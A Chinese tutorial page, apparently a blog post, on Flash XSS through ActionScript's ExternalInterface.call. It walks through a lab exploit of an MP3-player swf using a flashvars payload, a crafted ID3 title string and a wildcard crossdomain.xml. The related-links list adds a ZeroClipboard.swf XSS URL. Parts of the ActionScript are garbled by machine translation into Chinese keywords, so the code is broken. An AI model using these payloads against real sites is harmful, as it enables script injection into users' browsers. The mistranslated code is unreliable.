0x01 Flash XSS

xss一是指执行恶意js,那么为什么说flash xss呢?是因为flash有可以调用js的函数,也就是可以和js通信,因此这些函数如果使用不当就会造成xss。常见的可触发xss的危险函数有:getURL,navigateToURL,ExternalInterface.call,htmlText,loadMovie等等

0x02 ExternalInterface.call举例

AS中ExternalInterface类是用来和js通信的,调用方法是用来调用js函数的,函数原型

ExternalInterface.call(functionName:字符串,...参数):*

     fuctionName:要调用的JavaScript的函数名

     参数:参数,可选

函数具体用法请参考

http://help.adobe.com/zh_CN/FlashPlatform/reference/actionscript/3/flash/external/ExternalInterface.html

如下AS代码

{import flash.display.Sprite; import flash.external.ExternalInterface; 公共类XSSTest扩展了Sprite

       {public function XSSTest()

             {var jsFunction:String = loaderInfo.parameters.jsFunction; var param:String =“abc”;

                    ExternalInterface.call(jsFunction,param);

             }

       }

}

这里通过flashvars传递了一个参数,是js的函数。这种方式比较常见,swf可以做成通用,放到不同的业务中使用,每次只需要传入对应的js函数即可。但是,这里就存在漏洞了。

在浏览器中,构造URL:

XSSTest.swf jsFunction =alert(/xss/) 

访问SWF,并以获取参数的形式传入Flash变数,造成了 XSS

0×03实践

这是一个简单的网页,里边有flash做的MP3播放器。

我们先黑盒看一下:

查看网络

加载了swf,查看源码

看到MP3参数传递的是MP3文件。我们尝试从URL传递参数访问http://192.168.6.2/_files/XSSC1.swf?mp3=../1.mp3

看控制台,有奇怪的输出。

把MP3文件下载下来分析一下

http://192.168.6.2/1.mp3

保存下来

右键属性看摘要

这个文件的标题就是console的输出,由此我们推测为文件里源码有调用js函数console.log(“MP3的标题”) ;

既然是教程,那我们就白盒看一下这个SWF的源码:

{

    import flash.events。*;

    import flash.display。*;

    import flash.media。*;

    import flash.external。*;

    import flash.net。*;

    import flash.system。*;

    公共类XSSC1扩展Sprite {

       private var m:声音;

       公共功能XSSC1(){

           var mp3:* = null;

           var host:* = null;

           var u:* = null;

           var context:* = null;

           超();

           var p:* = this.loaderInfo.parameters;

           if((“mp3”in p)){

               mp3 = p [“mp3”];

               host =((mp3.match(/ ^(https?:\ / \ / [^ \\\ /] +)/))||([“”,“”]))[1];

               Security.loadPolicyFile((host +“/ crosdomain.xml”));

               u = new URLRequest(mp3);

               context = new SoundLoaderContext(1000,true);

               m = new Sound();

               m.load(你,上下文);

               m.play();

               m.addEventListener(Event.ID3,function(e:Event):void {

                   if((m.id3中的“songName”)){

                       if(ExternalInterface.available){

                           迹(m.id3.songName);

                           ExternalInterface.call(“console.log”,m.id3.songName);

                       };

                   };

               });

           };

        }

    }

}//包

那么,我们本地搭建web服务器,构造MP3标题即可触发xss。

首先我们本地创建的Web服务器根目录

把刚才下载的MP3复制进去,然后创建crossdomain.xml的文件,内容

<?xml version =“1.0”?>

<! -  http://www.foo.com/crossdomain.xml  - >

<!DOCTYPE跨域策略系统“http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd”>

<跨域策略>

 <allow-access-from domain =“*”/>

         <site-control allowed-cross-domain-policies =“all”/>

 <allow-http-request-headers-from domain =“*”headers =“*”/>

</跨域策略>

然后我们修改1.MP3的标题为\“)); alert(1);} catch(a){} //,右键属性

在cmd 里切换到web 目录,执行C:\ Python27 \ python -m SimpleHTTPServer 80 开启web 服务器

然后访问http://192.168.6.2/_files/XSSC1.swf?mp3=http://192.168.5.66/1.mp3

成功XSS

Flash XSS漏洞快速上手的更多相关文章

  1. Flash XSS 漏洞详解 根治的好办法

    本文的目的是深层次的分析Flash的ExternalInterface的XSS漏洞,并提出比较有效的解决方案.   首先,我们看看什么情况下,会出现XSS.   第一种情况:        把flas ...

  2. Flash XSS 漏洞实例

    www.bsdxm.com/zeroclipboard/ZeroClipboard.swf?id=\"))}catch(e){alert(/xss/);}//&width=500&a ...

  3. Java应对Flash XSS攻击

    问题引出: 今天公司派出安全任务,说是要解决一个Flash XSS攻击,一看顿时傻眼,都没听说过.而且flash已经淘汰了,根本没研究过flash,搜了资料才开始慢慢开始工作. 要求: 1.过滤URL ...

  4. 快速、直接的XSS漏洞检测爬虫 – XSScrapy

    XSScrapy是一个快速.直接的XSS漏洞检测爬虫,你只需要一个URL,它便可以帮助你发现XSS跨站脚本漏洞. XSScrapy的XSS漏洞攻击测试向量将会覆盖 Http头中的Referer字段 U ...

  5. 快速找出网站中可能存在的XSS漏洞实践

    笔者写了一些XSS漏洞的挖掘过程记录下来,方便自己也方便他人. 一.背景 在本篇文章当中会一permeate生态测试系统为例,笔者此前写过一篇文章当中笔者已经讲解如何安装permeate渗透测试系统, ...

  6. 快速找出网站中可能存在的XSS漏洞实践(一)

    一.背景 笔者最近在慕课录制了一套XSS跨站漏洞 加强Web安全视频教程,课程当中有讲到XSS的挖掘方式,所以在录制课程之前需要做大量实践案例,最近视频已经录制完成,准备将这些XSS漏洞的挖掘过程记录 ...

  7. Atitit. Xss 漏洞的原理and应用xss木马

    Atitit. Xss 漏洞的原理and应用xss木马 1. XSS漏洞1 2. XSS的用途2 2.1. 盗取cookie2 2.2. 刷新流量 刷分3 2.3. DOS 窃取隐私”.“假冒身份”. ...

  8. XSS跨站脚本攻击实例讲解,新浪微博XSS漏洞过程分析

    2011年6月28日晚,新浪微博遭遇到XSS蠕虫攻击侵袭,在不到一个小时的时间,超过3万微博用户受到该XSS蠕虫的攻击.此事件给严重依赖社交网络的网友们敲响了警钟.在此之前,国内多家著名的SNS网站和 ...

  9. 为什么主流网站无法捕获 XSS 漏洞?

    二十多年来,跨站脚本(简称 XSS)漏洞一直是主流网站的心头之痛.为什么过了这么久,这些网站还是对此类漏洞束手无策呢? 对于最近 eBay 网站曝出的跨站脚本漏洞,你有什么想法?为什么会出现这样的漏网 ...

随机推荐

  1. style属性css与javascript对照表

    有时候会用javascript来控制标签的style,但js的style属性写法跟css有点不一样,通常是一个单词的写法不变,单词-单词属性会去掉“-”,再把第二个单词的首字母大写,估计是为了与减法运 ...

  2. 解决ie6上碰到的css兼容问题

    ie6上css碰到的坑 前两天在给一个项目做东西的时候,碰到一个有意思的项目,是需要兼容ie6,有一些碰到并且解决的问题,给大家写下来,方便大家以后碰到类似的问题哈- 喜欢的话还请点赞! 1.impo ...

  3. MOOC 数据库系统笔记(一):初步认识数据库系统

    概述 什么是数据库 数据库是电子化信息的集合 数据库起源于规范化"表(Table)"的处理. Table:以按行按列形式组织及展现的数据. E.F.Codd,基于对"表( ...

  4. 20 (OC)* GCD、NSOperation、NSThread。多线程

    多线程编程技术的优缺点比较 NSThread (抽象层次:低) 优点:轻量级,简单易用,可以直接操作线程对象 缺点: 需要自己管理线程的生命周期,线程同步.线程同步对数据的加锁会有一定的系统开销. C ...

  5. centos7搭建squid

    squid在做爬虫代理时候,我们只需要做到一个squid代理,然后对其他代理做转发轮询,如何使用squid做代理并自动转发轮询? 加上这行代码: cache_peer 120.xx.xx.32 par ...

  6. 在.NET Core中使用DispatchProxy“实现”非公开的接口

    原文地址:"Implementing" a non-public interface in .NET Core with DispatchProxy 原文作者:Filip W. 译 ...

  7. 记一次处理mysql数据库无故锁表的经历

    某日,生产环境上的用户表突然无故锁表,原以为只是偶发的bug.所以第一时间想到的解决方案简单粗暴:重启数据库(service mysqld restart).问题得以解决. 10min后,该表再次锁表 ...

  8. mongodb 获取自增数

    mongodb db.getCollection('user').findAndModify({update:{$inc:{'level':1}},query:{"name":&q ...

  9. video.js 使用中抛出异常:DOMException: "'#1098942864706113536' is not a valid selector"

    原因:video.js 在获取页面元素时使用的是querySelector方法,由于querySelector是按css规范来实现的,所以它传入的字符串中第一个字符不能是数字. 解决:元素Id在赋值时 ...

  10. QTP8.2--安装流程

    一.安装说明: 1.进入安装文件夹,运行QTP8.2安装文件setup,进入安装向导后直接单击“QuickTest Professional 安装”选项,由于破解文件存在缺陷,所以请不要改变安装路径c ...